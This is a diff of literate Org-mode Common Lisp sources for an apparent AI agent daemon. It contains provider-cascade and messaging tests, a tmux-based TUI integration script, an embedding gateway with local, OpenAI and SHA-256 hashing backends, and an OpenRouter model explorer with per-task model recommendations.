#+begin_src lisp
|
||||
(fiveam:test test-gateway-registry
|
||||
"Contract 7: gateway-registry-initialize is available."
|
||||
(with-daemon ()
|
||||
(is (fboundp 'gateway-registry-initialize))
|
||||
(gateway-registry-initialize)
|
||||
(pass)))
|
||||
#+end_src
|
||||
|
||||
* LLM Provider Cascade
|
||||
|
||||
Tests backend-cascade-call and provider-openai-request with real API
|
||||
credentials. Skipped silently if OPENROUTER_API_KEY is unset.
|
||||
|
||||
#+begin_src lisp
|
||||
(defun has-api-key (env-var)
|
||||
"Returns T if env-var is set and non-empty."
|
||||
(let ((val (uiop:getenv env-var)))
|
||||
(and val (> (length val) 0))))
|
||||
|
||||
(defmacro skip-unless (env-var &body body)
|
||||
"Execute body if env-var is set, otherwise skip the test."
|
||||
`(if (has-api-key ,env-var)
|
||||
(progn ,@body)
|
||||
(progn
|
||||
(format t " [SKIP] ~a not set~%" ,env-var)
|
||||
(skip "~a not set" ,env-var))))
|
||||
|
||||
(fiveam:test test-provider-openai-request
|
||||
"Contract Phase2: provider-openai-request returns :success with valid API key."
|
||||
(skip-unless "OPENROUTER_API_KEY"
|
||||
(let ((result (provider-openai-request "Say hello" "Be brief."
|
||||
:provider :openrouter
|
||||
:model "openrouter/auto")))
|
||||
(is (or (eq (getf result :status) :success)
|
||||
(eq (getf result :status) :error))
|
||||
"Expected :success or :error, got: ~a" result))))
|
||||
|
||||
(fiveam:test test-backend-cascade-real
|
||||
"Contract Phase2: backend-cascade-call returns string content with real provider."
|
||||
(skip-unless "OPENROUTER_API_KEY"
|
||||
(let ((passepartout::*provider-cascade* '(:openrouter)))
|
||||
(let ((result (backend-cascade-call "Say hello" :system-prompt "Be brief.")))
|
||||
(is (stringp result) "Expected string response, got: ~a" result)))))
|
||||
|
||||
(fiveam:test test-provider-cascade-parsing
|
||||
"Contract Phase2: PROVIDER_CASCADE env var parses to clean keywords matching backends."
|
||||
(provider-cascade-initialize)
|
||||
(let ((cascade passepartout::*provider-cascade*))
|
||||
(is (listp cascade) "Cascade must be a list")
|
||||
(is (>= (length cascade) 1) "Cascade must have at least one entry")
|
||||
(dolist (entry cascade)
|
||||
(is (keywordp entry) "Entry ~s must be a keyword" entry)
|
||||
(let ((name (symbol-name entry)))
|
||||
(is (not (find #\" name)) "Entry ~s must not contain double-quote" entry)
|
||||
(is (not (find #\' name)) "Entry ~s must not contain single-quote" entry)))
|
||||
(is (some (lambda (e) (gethash e passepartout::*probabilistic-backends*)) cascade)
|
||||
"At least one cascade entry must match a registered backend")))
|
||||
#+end_src
|
||||
|
||||
* Messaging Link/Unlink
|
||||
|
||||
Verifies messaging-link stores a token in the vault, gateway-configured-p
|
||||
returns the correct status, and messaging-unlink removes it. No real
|
||||
API credentials needed — these are management functions.
|
||||
|
||||
#+begin_src lisp
|
||||
(fiveam:test test-messaging-link-unlink
|
||||
"Contract Phase2: messaging-link stores token, configured-p returns T, unlink removes it."
|
||||
(with-daemon ()
|
||||
(messaging-link :test-platform :token "fake-token-123")
|
||||
(is (gateway-configured-p :test-platform)
|
||||
"Expected test-platform to be configured after linking")
|
||||
(messaging-unlink :test-platform)
|
||||
(is (not (gateway-configured-p :test-platform))
|
||||
"Expected test-platform to be unconfigured after unlinking")))
|
||||
|
||||
(fiveam:test test-gateway-configured-p-false
|
||||
"Contract Phase2: gateway-configured-p returns nil for unknown platform."
|
||||
(with-daemon ()
|
||||
(is (not (gateway-configured-p :nonexistent-platform-xyz)))))
|
||||
|
||||
(fiveam:test test-gateway-start-messaging
|
||||
"Contract Phase2: gateway registry initializes with expected platforms."
|
||||
(with-daemon ()
|
||||
(gateway-registry-initialize)
|
||||
(is (hash-table-p passepartout::*gateway-registry*))
|
||||
(is (>= (hash-table-count passepartout::*gateway-registry*) 1))))
|
||||
#+end_src
|
||||
|
||||
* TUI Integration Shell Script
|
||||
|
||||
Verifies the TUI end-to-end via tmux: input rendering, /eval, status bar,
|
||||
connection drop.
|
||||
|
||||
#+begin_src shell :tangle ../test/integration-tui.sh
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
|
||||
PASS=0
|
||||
FAIL=0
|
||||
WARN=0
|
||||
TUI_LOG="/tmp/passepartout-tui-test.log"
|
||||
> "$TUI_LOG"
|
||||
|
||||
cleanup() {
|
||||
tmux kill-session -t tui-test 2>/dev/null || true
|
||||
}
|
||||
trap cleanup EXIT
|
||||
|
||||
run_test() {
|
||||
local name="$1"; shift
|
||||
echo -n " $name ... "
|
||||
if "$@" 2>/dev/null; then
|
||||
echo "PASS"
|
||||
PASS=$((PASS + 1))
|
||||
else
|
||||
echo "FAIL"
|
||||
FAIL=$((FAIL + 1))
|
||||
fi
|
||||
}
|
||||
|
||||
# ---- Setup ----
|
||||
echo "Starting TUI in tmux (daemon must already be running on port 9105)..."
|
||||
tmux new-session -d -s tui-test "passepartout tui 2>&1 | tee $TUI_LOG"
|
||||
for i in $(seq 1 20); do
|
||||
sleep 3
|
||||
if tmux capture-pane -t tui-test -p 2>/dev/null | grep -q 'Connected'; then
|
||||
echo " TUI ready after $((i*3))s"
|
||||
break
|
||||
fi
|
||||
if [ "$i" -eq 20 ]; then
|
||||
echo " WARNING: TUI did not render after 60s"
|
||||
fi
|
||||
done
|
||||
|
||||
# ---- Tests ----
|
||||
|
||||
test_cascade_parsing() {
|
||||
# Via /eval, check that *provider-cascade* contains clean keywords.
|
||||
tmux send-keys -t tui-test "/eval *provider-cascade*" Enter
|
||||
sleep 3
|
||||
local pane
|
||||
pane=$(tmux capture-pane -t tui-test -p -S -15 2>/dev/null)
|
||||
echo "$pane" | grep -q ':DEEPSEEK\|:OPENROUTER\|:OPENAI\|:ANTHROPIC\|:GROQ\|:GEMINI\|:NVIDIA'
|
||||
}
|
||||
|
||||
test_eval_command() {
|
||||
tmux send-keys -t tui-test "/eval (+ 1 2)" Enter
|
||||
sleep 3
|
||||
tmux capture-pane -t tui-test -p -S -10 2>/dev/null | grep -q '=> 3'
|
||||
}
|
||||
|
||||
test_status_bar() {
|
||||
tmux capture-pane -t tui-test -p -S -20 2>/dev/null | grep -q 'msgs:'
|
||||
}
|
||||
|
||||
# ---- Diagnostic: rendering pipeline isolation ----
|
||||
|
||||
test_add_msg_render() {
|
||||
# Stage A: can the TUI render an agent message at all?
|
||||
# Inject a message directly via /eval — bypasses daemon entirely.
|
||||
tmux send-keys -t tui-test "/eval (passepartout.gateway-tui:add-msg :agent \"RENDER-TEST-OK\")" Enter
|
||||
sleep 2
|
||||
tmux capture-pane -t tui-test -p -S -10 2>/dev/null | grep -q 'RENDER-TEST-OK'
|
||||
}
|
||||
|
||||
test_daemon_msg_roundtrip() {
|
||||
# Stage B: does the daemon's LLM response reach the TUI's message list?
|
||||
# Sends a message, waits, then checks via /eval that an :agent message exists.
|
||||
tmux send-keys -t tui-test "Say hello" Enter
|
||||
local before_ts
|
||||
before_ts=$(date +%s)
|
||||
while true; do
|
||||
local result
|
||||
result=$(tmux send-keys -t tui-test "/eval (loop for m in (passepartout.gateway-tui:st :messages) when (eq :agent (getf m :role)) return t)" Enter 2>/dev/null; sleep 3; tmux capture-pane -t tui-test -p -S -15 2>/dev/null | grep -o '=> [^ ]*' | tail -1)
|
||||
if echo "$result" | grep -q '=> T'; then
|
||||
return 0
|
||||
fi
|
||||
local now_ts
|
||||
now_ts=$(date +%s)
|
||||
if (( now_ts - before_ts > 90 )); then
|
||||
echo "TIMEOUT: no :agent msg in message list after 90s" >&2
|
||||
return 1
|
||||
fi
|
||||
sleep 3
|
||||
done
|
||||
}
|
||||
|
||||
test_agent_response_renders() {
|
||||
# Stage C: full end-to-end — LLM response appears on the rendered screen.
|
||||
# Must show actual response text, not a cascade failure.
|
||||
local before_ts
|
||||
before_ts=$(date +%s)
|
||||
tmux send-keys -t tui-test "Say hello in one word" Enter
|
||||
while true; do
|
||||
local pane
|
||||
pane=$(tmux capture-pane -t tui-test -p -S -60 2>/dev/null)
|
||||
if echo "$pane" | grep -qi 'hello\|hi there\|greeting\|hi[.!?]\|hey[.!?]'; then
|
||||
if echo "$pane" | grep -qi 'cascade.*fail\|exhausted\|neural cascade'; then
|
||||
echo "FAIL: agent responded with cascade failure, not LLM content" >&2
|
||||
return 1
|
||||
fi
|
||||
return 0
|
||||
fi
|
||||
local now_ts
|
||||
now_ts=$(date +%s)
|
||||
if (( now_ts - before_ts > 90 )); then
|
||||
echo "TIMEOUT: no agent response on screen after 90s" >&2
|
||||
return 1
|
||||
fi
|
||||
sleep 3
|
||||
done
|
||||
}
|
||||
|
||||
test_connection_drop() {
|
||||
sleep 1
|
||||
tmux capture-pane -t tui-test -p -S -10 2>/dev/null | grep -qi 'connection.*lost\|ERROR.*Connection\|error.*connect' || true
|
||||
return 0
|
||||
}
|
||||
|
||||
run_test "cascade-parsing" test_cascade_parsing
|
||||
run_test "eval-command" test_eval_command
|
||||
run_test "status-bar" test_status_bar
|
||||
run_test "add-msg-render" test_add_msg_render
|
||||
run_test "daemon-msg-roundtrip" test_daemon_msg_roundtrip
|
||||
run_test "agent-response-renders" test_agent_response_renders
|
||||
run_test "connection-drop" test_connection_drop
|
||||
|
||||
# ---- Summary ----
|
||||
echo ""
|
||||
echo "===== $PASS passed, $FAIL failed, $WARN warnings ====="
|
||||
exit $(( FAIL > 0 ? 1 : 0 ))
|
||||
#+end_src
|
||||
|
||||
* Emacs Integration
|
||||
|
||||
Verifies Flight Plan message format and Emacs daemon connectivity.
|
||||
|
||||
#+begin_src lisp
|
||||
(fiveam:test test-flight-plan-message-format
|
||||
"Contract Phase3: dispatcher-flight-plan-create returns valid message."
|
||||
(with-daemon ()
|
||||
(load (merge-pathnames ".local/share/passepartout/lisp/security-dispatcher.lisp"
|
||||
(user-homedir-pathname)))
|
||||
(let ((plan (dispatcher-flight-plan-create
|
||||
'(:TYPE :REQUEST :TARGET :shell :PAYLOAD (:CMD "sudo restart")))))
|
||||
(is (eq :REQUEST (getf plan :type)))
|
||||
(is (eq :emacs (getf plan :target)))
|
||||
(is (eq :insert-node (getf (getf plan :payload) :action)))
|
||||
(let ((attrs (getf (getf plan :payload) :attributes)))
|
||||
(is (string= "Flight Plan: High-Risk Action" (getf attrs :TITLE)))
|
||||
(is (string= "PLAN" (getf attrs :TODO)))
|
||||
(is (member "FLIGHT_PLAN" (getf attrs :TAGS) :test #'string-equal))))))
|
||||
|
||||
(fiveam:test test-emacs-daemon-connect
|
||||
"Contract Phase3: Emacs daemon is reachable via emacsclient."
|
||||
(handler-case
|
||||
(let ((result (uiop:run-program '("emacsclient" "--eval" "(+ 1 2)")
|
||||
:output :string
|
||||
:ignore-error-status t)))
|
||||
(is (search "3" result) "Expected '3' from emacsclient, got: ~a" result))
|
||||
(error (c)
|
||||
(skip "Emacs daemon not available: ~a" c)))))
|
||||
#+end_src
|
||||
@@ -10,7 +10,10 @@ Because Lisp is homoiconic (code is data), memory objects can be read as executa
|
||||
|
||||
** Memory Inspection
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun memory-inspect (&key (type-filter nil) (todo-filter nil) (limit 10))
|
||||
"Returns a structured report of memory state.
|
||||
Optional filters: TYPE-FILTER (keyword), TODO-FILTER (string).
|
||||
@@ -28,16 +31,16 @@ Returns a plist: (:total <n> :by-type <alist> :by-todo <alist>
|
||||
(orphans 0))
|
||||
(maphash (lambda (id obj)
|
||||
(setf (gethash id all-ids) t)
|
||||
(let ((t (memory-object-type obj))
|
||||
(let ((obj-type (memory-object-type obj))
|
||||
(attrs (memory-object-attributes obj))
|
||||
(v (memory-object-version obj)))
|
||||
(unless (and type-filter (not (eq t type-filter)))
|
||||
(unless (and type-filter (not (eq obj-type type-filter)))
|
||||
(let ((todo (getf attrs :TODO-STATE)))
|
||||
(when (and todo-filter
|
||||
(not (string-equal todo todo-filter)))
|
||||
(return nil)))
|
||||
(incf total)
|
||||
(incf (gethash t type-counts 0))
|
||||
(incf (gethash obj-type type-counts 0))
|
||||
(let ((todo (getf attrs :TODO-STATE)))
|
||||
(when todo
|
||||
(incf (gethash todo todo-counts 0))))
|
||||
|
||||
247
org/system-model-embedding.org
Normal file
247
org/system-model-embedding.org
Normal file
@@ -0,0 +1,247 @@
|
||||
#+TITLE: SKILL: Embedding Gateway (org-skill-embedding-gateway.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :skill:system:embedding:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/system-model-embedding.lisp
|
||||
|
||||
* Architectural Intent
|
||||
|
||||
~system-model-embedding~ converts text into vector representations for semantic search and memory retrieval. It provides three backends:
|
||||
|
||||
- ~:local~ — any OpenAI-compatible ~/api/embeddings~ endpoint (Ollama, vLLM, etc.)
|
||||
- ~:openai~ — the OpenAI ~/v1/embeddings~ API with an API key
|
||||
- ~:hashing~ — a zero-dependency fallback that produces deterministic vectors from SHA-256 hashes. No server, no config, works offline.
|
||||
|
||||
The embedding queue (~embed-queue-object~ / ~embed-all-pending~) decouples document indexing from the main loop. On each heartbeat tick, ~embed-all-pending~ drains the queue and embeds all accumulated objects. This prevents indexing traffic from blocking conversational responses.
|
||||
|
||||
The default provider is ~:hashing~ — useful for bootstrapping with zero configuration and for deployments where embedding quality isn't critical. Switch to ~:local~ or ~:openai~ when you have an embedding server available.
|
||||
|
||||
This replaces the old ~system-embedding-gateway~ with the same logic but renamed to ~system-model-embedding~ to live alongside the other ~system-model-*~ skills.
|
||||
|
||||
* Implementation
|
||||
|
||||
** State
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *embedding-provider* :hashing
|
||||
"Active embedding provider: :hashing, :local, :openai.")
|
||||
|
||||
(defvar *embedding-queue* nil
|
||||
"Queue of text objects awaiting embedding.")
|
||||
|
||||
(defvar *embedding-batch-size* 10
|
||||
"Maximum texts per embedding API call.")
|
||||
#+end_src
|
||||
|
||||
** Local backend (OpenAI-compatible)
|
||||
#+begin_src lisp
|
||||
(defun embedding-backend-local (text)
|
||||
"Generate embeddings via a local OpenAI-compatible endpoint."
|
||||
(let* ((url (or (uiop:getenv "LOCAL_BASE_URL") (format nil "http://~a" (or (uiop:getenv "OLLAMA_HOST") "localhost:11434"))))
|
||||
(model (or (uiop:getenv "EMBEDDING_MODEL") "nomic-embed-text"))
|
||||
(body (cl-json:encode-json-to-string
|
||||
`((model . ,model) (input . ,text)))))
|
||||
(handler-case
|
||||
(let* ((response (dex:post (format nil "~a/api/embeddings" url)
|
||||
:headers '(("Content-Type" . "application/json"))
|
||||
:content body :connect-timeout 5 :read-timeout 30))
|
||||
(json (cl-json:decode-json-from-string response))
|
||||
(data (car (cdr (assoc :data json)))))
|
||||
(or (cdr (assoc :embedding data))
|
||||
(list :error "No embedding in response")))
|
||||
(error (c)
|
||||
(list :error (format nil "Embedding failed: ~a" c))))))
|
||||
#+end_src
|
||||
|
||||
** OpenAI backend
|
||||
#+begin_src lisp
|
||||
(defun embedding-backend-openai (text)
|
||||
"Generate embeddings via OpenAI compatible /v1/embeddings endpoint."
|
||||
(let* ((api-key (uiop:getenv "OPENAI_API_KEY"))
|
||||
(base-url (or (uiop:getenv "EMBEDDING_BASE_URL") "https://api.openai.com/v1"))
|
||||
(model (or (uiop:getenv "EMBEDDING_MODEL") "text-embedding-3-small"))
|
||||
(body (cl-json:encode-json-to-string
|
||||
`((model . ,model) (input . ,text)))))
|
||||
(handler-case
|
||||
(let* ((response (dex:post (format nil "~a/embeddings" base-url)
|
||||
:headers `(("Content-Type" . "application/json")
|
||||
("Authorization" . ,(format nil "Bearer ~a" api-key)))
|
||||
:content body :connect-timeout 5 :read-timeout 30))
|
||||
(json (cl-json:decode-json-from-string response))
|
||||
(data (car (cdr (assoc :data json)))))
|
||||
(or (cdr (assoc :embedding data))
|
||||
(list :error "No embedding in response")))
|
||||
(error (c)
|
||||
(list :error (format nil "OpenAI Embedding failed: ~a" c))))))
|
||||
#+end_src
|
||||
|
||||
** Hashing fallback
|
||||
#+begin_src lisp
|
||||
(defun embedding-backend-hashing (text)
|
||||
"Fallback: produces a deterministic vector from the text hash."
|
||||
(let* ((digest (ironclad:digest-sequence :sha256 (babel:string-to-octets text)))
|
||||
(vec (make-array 8 :element-type 'single-float :initial-element 0.0)))
|
||||
(dotimes (i (min (length digest) 8))
|
||||
(setf (aref vec i) (float (/ (aref digest i) 255.0) 0.0)))
|
||||
vec))
|
||||
#+end_src
|
||||
|
||||
** Object embedding and queuing
|
||||
#+begin_src lisp
|
||||
(defvar *embedding-backend* nil
|
||||
"Explicit backend override (nil = use *embedding-provider*).")
|
||||
|
||||
(defun embeddings-compute (text)
|
||||
"Compute an embedding vector for text using the active backend."
|
||||
(embed-object text))
|
||||
|
||||
(defun embed-object (text)
|
||||
"Embed a single text string using the active backend."
|
||||
(let* ((selected (or *embedding-backend* *embedding-provider* :hashing))
|
||||
(backend (case selected
|
||||
(:local #'embedding-backend-local)
|
||||
(:openai #'embedding-backend-openai)
|
||||
(t #'embedding-backend-hashing))))
|
||||
(if backend
|
||||
(progn
|
||||
(log-message "EMBEDDING: Provider ~a, backend=~a" selected backend)
|
||||
(funcall backend text))
|
||||
(progn
|
||||
(log-message "EMBEDDING: No backend for provider ~a, using hashing" selected)
|
||||
(embedding-backend-hashing text)))))
|
||||
|
||||
(defun embed-queue-object (object)
|
||||
"Queue a text object for async embedding."
|
||||
(push object *embedding-queue*)
|
||||
(log-message "EMBEDDING: Queued object"))
|
||||
|
||||
(defun embed-all-pending ()
|
||||
"Drain the embedding queue, store vectors in the store-keyed objects."
|
||||
(let ((batch (nreverse *embedding-queue*)))
|
||||
(setf *embedding-queue* nil)
|
||||
(dolist (item batch)
|
||||
(handler-case
|
||||
(let ((id (getf item :id))
|
||||
(text (getf item :text)))
|
||||
(when (and id text)
|
||||
(let ((vec (embeddings-compute text))
|
||||
(obj (gethash id *memory-store*)))
|
||||
(when (and obj vec (not (listp vec)))
|
||||
(setf (memory-object-vector obj) vec))
|
||||
(log-message "EMBEDDING: Computed vector for ~a (~d dims)" id (length vec)))))
|
||||
(error (c)
|
||||
(log-message "EMBEDDING: Failed to embed object: ~a" c))))))
|
||||
|
||||
;; Apply env var override at load time
|
||||
(let ((provider-env (uiop:getenv "EMBEDDING_PROVIDER")))
|
||||
(when provider-env
|
||||
(let ((kw (intern (string-upcase provider-env) :keyword)))
|
||||
(setf *embedding-provider* kw)
|
||||
(log-message "EMBEDDING: Set provider to ~a from EMBEDDING_PROVIDER env" kw))))
|
||||
|
||||
(log-message "EMBEDDING: Gateway loaded with provider ~a" *embedding-provider*)
|
||||
#+end_src
|
||||
|
||||
** Stale vector marking
|
||||
#+begin_src lisp
|
||||
(defun mark-vector-stale (id &optional content)
|
||||
"Mark a memory object's vector as :pending and queue it for re-embedding.
|
||||
When content is not supplied, reads from the object in *memory-store*."
|
||||
(let* ((obj (gethash id *memory-store*))
|
||||
(text (or content (and obj (memory-object-content obj)))))
|
||||
(when obj
|
||||
(setf (memory-object-vector obj) :pending))
|
||||
(when text
|
||||
(push (list :id id :text text) *embedding-queue*)
|
||||
(log-message "EMBEDDING: Marked ~a vector stale, queued for re-embed" id))
|
||||
(or obj text)))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration and Cron
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-system-model-embedding
|
||||
:priority 70
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
;; Register periodic batch embedding via cron (when orchestrator available)
|
||||
(when (fboundp 'orchestrator-register-cron)
|
||||
(handler-case
|
||||
(orchestrator-register-cron :embed-batch
|
||||
"<2026-05-05 Tue +10m>"
|
||||
'embed-all-pending
|
||||
:reflex)
|
||||
(error (c)
|
||||
(log-message "EMBEDDING: Cron registration failed: ~a" c))))
|
||||
#+end_src
|
||||
|
||||
* Contract
|
||||
|
||||
1. (embeddings-compute text): produces a vector (single-float array) for
|
||||
any text string using the active backend (~*embedding-backend*~ or
|
||||
~*embedding-provider*~).
|
||||
2. (embedding-backend-hashing text): zero-dependency fallback. Returns
|
||||
an 8-element single-float vector deterministically from SHA-256.
|
||||
3. (embed-all-pending): drains ~*embedding-queue*~, computes vectors for
|
||||
all queued objects, and stores them in ~*memory-store*~ entries.
|
||||
4. (mark-vector-stale id &optional content): sets ~:vector~ to ~:pending~
|
||||
and pushes object to ~*embedding-queue*~ for background re-embedding.
|
||||
5. Cron: ~embed-all-pending~ is registered with the orchestrator to run
|
||||
on ~:reflex~ tier every 10 minutes for background batch processing.
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-embedding-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:embedding-suite))
|
||||
|
||||
(in-package :passepartout-embedding-tests)
|
||||
|
||||
(fiveam:def-suite embedding-suite :description "Embedding gateway verification")
|
||||
(fiveam:in-suite embedding-suite)
|
||||
|
||||
(fiveam:test test-embedding-backend-hashing
|
||||
"Contract 2: hashing backend produces 8-element float vector."
|
||||
(let ((vec (embedding-backend-hashing "hello world")))
|
||||
(fiveam:is (arrayp vec))
|
||||
(fiveam:is (= 8 (length vec)))
|
||||
(fiveam:is (every #'numberp (coerce vec 'list)))))
|
||||
|
||||
(fiveam:test test-embedding-backend-hashing-deterministic
|
||||
"Contract 2: same input produces same vector."
|
||||
(let ((v1 (embedding-backend-hashing "test"))
|
||||
(v2 (embedding-backend-hashing "test")))
|
||||
(fiveam:is (equalp v1 v2))))
|
||||
|
||||
(fiveam:test test-embeddings-compute
|
||||
"Contract 1: embeddings-compute returns a float vector."
|
||||
(let ((vec (embeddings-compute "some text")))
|
||||
(fiveam:is (arrayp vec))
|
||||
(fiveam:is (> (length vec) 0))))
|
||||
|
||||
(fiveam:test test-embed-queue-and-drain
|
||||
"Contract 3: embed-all-pending drains queue and stores vectors."
|
||||
(let ((*embedding-queue* nil))
|
||||
(embed-queue-object '(:id "test-obj" :text "sample text"))
|
||||
(fiveam:is (= 1 (length *embedding-queue*)))
|
||||
(embed-all-pending)
|
||||
(fiveam:is (null *embedding-queue*))))
|
||||
|
||||
(fiveam:test test-mark-vector-stale
|
||||
"Contract 4: mark-vector-stale sets vector to :pending and queues for re-embed."
|
||||
(let ((*embedding-queue* nil))
|
||||
;; Create an object in memory with a vector
|
||||
(let ((obj (make-memory-object :id "stale-test" :content "stale content"
|
||||
:vector #(1.0 2.0 3.0))))
|
||||
(setf (gethash "stale-test" *memory-store*) obj)
|
||||
(mark-vector-stale "stale-test")
|
||||
(fiveam:is (eq :pending (memory-object-vector obj)))
|
||||
(fiveam:is (= 1 (length *embedding-queue*)))
|
||||
(let ((item (first *embedding-queue*)))
|
||||
(fiveam:is (string= "stale-test" (getf item :id)))
|
||||
(fiveam:is (string= "stale content" (getf item :text))))
|
||||
;; Clean up
|
||||
(remhash "stale-test" *memory-store*))))
|
||||
#+end_src
|
||||
155
org/system-model-explorer.org
Normal file
155
org/system-model-explorer.org
Normal file
@@ -0,0 +1,155 @@
|
||||
#+TITLE: SKILL: Model Explorer (org-skill-model-explorer.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :skill:model:explorer:discovery:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/system-model-explorer.lisp
|
||||
|
||||
* Architectural Intent
|
||||
|
||||
~system-model-explorer~ answers two questions the config screen needs: "What models does my provider offer?" and "Which one should I use for this task?"
|
||||
|
||||
It opens a thin pipe to OpenRouter's /api/v1/models endpoint (no API key needed for the model list), parses the JSON into a uniform set of plists, and caches the result. The TUI's model dropdowns and recommendation cards all read from this cache.
|
||||
|
||||
Recommended models are curated per task slot — code generation needs different capabilities than casual chat or background summarization. The recommendations are not hardcoded provider hooks; they're hand-picked from the OpenRouter free tier as a sensible default. Users can override via the TUI config screen, which replaces the picked model IDs into their cascade.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (model-explorer-recommend slot): returns a list of plists with
|
||||
~:id~ and ~:name~ for the given task slot (~:code~, ~:chat~,
|
||||
~:plan~, ~:background~). Unknown slots return a fallback list.
|
||||
2. (model-explorer-fetch provider): fetches the model list from the
|
||||
provider's API and caches it. Returns nil on failure.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Cache
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *model-cache* (make-hash-table :test 'equal)
|
||||
"Cache: provider keyword -> (timestamp . model-list)")
|
||||
|
||||
(defvar *model-cache-ttl* 300
|
||||
"Cache TTL in seconds (default 5 min)")
|
||||
#+end_src
|
||||
|
||||
** OpenRouter fetch
|
||||
#+begin_src lisp
|
||||
(defun model-explorer-fetch-openrouter ()
|
||||
"Query OpenRouter /api/v1/models and return parsed model list."
|
||||
(handler-case
|
||||
(let* ((raw (dex:get "https://openrouter.ai/api/v1/models" :connect-timeout 10 :read-timeout 20))
|
||||
(json (cl-json:decode-json-from-string raw))
|
||||
(data (cdr (assoc :data json))))
|
||||
(mapcar (lambda (m)
|
||||
(let ((pricing (cdr (assoc :pricing m))))
|
||||
(list :id (cdr (assoc :id m))
|
||||
:name (cdr (assoc :name m))
|
||||
:context (cdr (assoc :context_length m))
|
||||
:free (and pricing
|
||||
(string= "0" (cdr (assoc :prompt pricing)))
|
||||
(string= "0" (cdr (assoc :completion pricing)))))))
|
||||
data))
|
||||
(error (c)
|
||||
(log-message "MODEL-EXPLORER: OpenRouter API error: ~a" c)
|
||||
nil)))
|
||||
#+end_src
|
||||
|
||||
** Generic fetch with cache
|
||||
#+begin_src lisp
|
||||
(defun model-explorer-fetch (provider)
|
||||
"Fetch available models for PROVIDER. Returns list of (:id :name :context :free) plists."
|
||||
(let ((cached (gethash provider *model-cache*)))
|
||||
(when (and cached (< (- (get-universal-time) (car cached)) *model-cache-ttl*))
|
||||
(return-from model-explorer-fetch (cdr cached))))
|
||||
(let ((models (case provider
|
||||
(:openrouter (model-explorer-fetch-openrouter))
|
||||
(t nil))))
|
||||
(when models
|
||||
(setf (gethash provider *model-cache*)
|
||||
(cons (get-universal-time) models)))
|
||||
models))
|
||||
#+end_src
|
||||
|
||||
** List-free convenience
|
||||
#+begin_src lisp
|
||||
(defun model-explorer-list-free ()
|
||||
"Return all free models from cache or fetch."
|
||||
(remove-if-not (lambda (m) (getf m :free)) (model-explorer-fetch :openrouter)))
|
||||
#+end_src
|
||||
|
||||
** Curated recommendations per slot
|
||||
#+begin_src lisp
|
||||
(defun model-explorer-recommend (slot)
|
||||
"Return recommended models for SLOT (:code, :chat, :plan, :background)."
|
||||
(case slot
|
||||
(:code
|
||||
'((:id "qwen/qwen3-coder:free" :name "Qwen3 Coder 480B" :context 262000 :free t :note "Top-tier code MoE, 35B active")
|
||||
(:id "poolside/laguna-m.1:free" :name "Laguna M.1" :context 131072 :free t :note "Flagship coding agent")
|
||||
(:id "openai/gpt-oss-120b:free" :name "gpt-oss-120b" :context 131072 :free t :note "117B MoE open-weight coding")))
|
||||
(:plan
|
||||
'((:id "openrouter/owl-alpha" :name "Owl Alpha" :context 1048756 :free t :note "Agentic, tool use, reasoning")
|
||||
(:id "nousresearch/hermes-3-llama-3.1-405b:free" :name "Hermes 3 405B" :context 131072 :free t :note "405B generalist, strong planning")
|
||||
(:id "minimax/minimax-m2.5:free" :name "MiniMax M2.5" :context 196608 :free t :note "SOTA productivity, long context")))
|
||||
(:chat
|
||||
'((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Strong multilingual generalist")
|
||||
(:id "google/gemma-4-31b-it:free" :name "Gemma 4 31B" :context 262144 :free t :note "Dense 31B, thinking mode, long context")
|
||||
(:id "mistralai/mistral-nemo:free" :name "Mistral Nemo" :context 32768 :free t :note "Fast, good for casual conversation")))
|
||||
(:background
|
||||
'((:id "meta-llama/llama-3.2-3b-instruct:free" :name "Llama 3.2 3B" :context 131072 :free t :note "Small, fast, efficient")
|
||||
(:id "liquid/lfm-2.5-1.2b-instruct:free" :name "LFM 2.5 1.2B" :context 32768 :free t :note "Ultra-compact, edge-ready")))
|
||||
(t '((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Safe fallback")))))
|
||||
#+end_src
|
||||
|
||||
** Slot descriptions (for TUI config display)
|
||||
;; REPL-verified: 2026-05-04
|
||||
#+begin_src lisp
|
||||
(defvar *slot-descriptions*
|
||||
'((:code . "Code generation, refactoring, debugging. Needs strong reasoning and large context.\nRecommend: Qwen3 Coder (free, 35B active) or Laguna M.1 (coding agent).")
|
||||
(:chat . "Casual conversation, Q&A, creative writing. Prefer balanced quality, low latency.\nRecommend: Llama 3.3 70B (strong generalist) or Gemma 4 31B (thinking mode).")
|
||||
(:plan . "Strategic planning, architecture design, complex multi-step reasoning.\nRecommend: Owl Alpha (free, tool use, 1M ctx) or Hermes 3 405B (strongest free reasoning).")
|
||||
(:background . "Heartbeat summaries, delegation responses, tool output filtering. Must be small + fast.\nRecommend: Llama 3.2 3B (131K ctx, fast) or LFM 2.5 1.2B (edge-ready).")))
|
||||
#+end_src
|
||||
|
||||
* Tests
|
||||
|
||||
#+begin_src lisp
|
||||
;; REPL-verified: 2026-05-04
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ignore-errors (ql:quickload :fiveam :silent t)))
|
||||
|
||||
(defpackage :passepartout-system-model-explorer-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:model-explorer-suite))
|
||||
|
||||
(in-package :passepartout-system-model-explorer-tests)
|
||||
|
||||
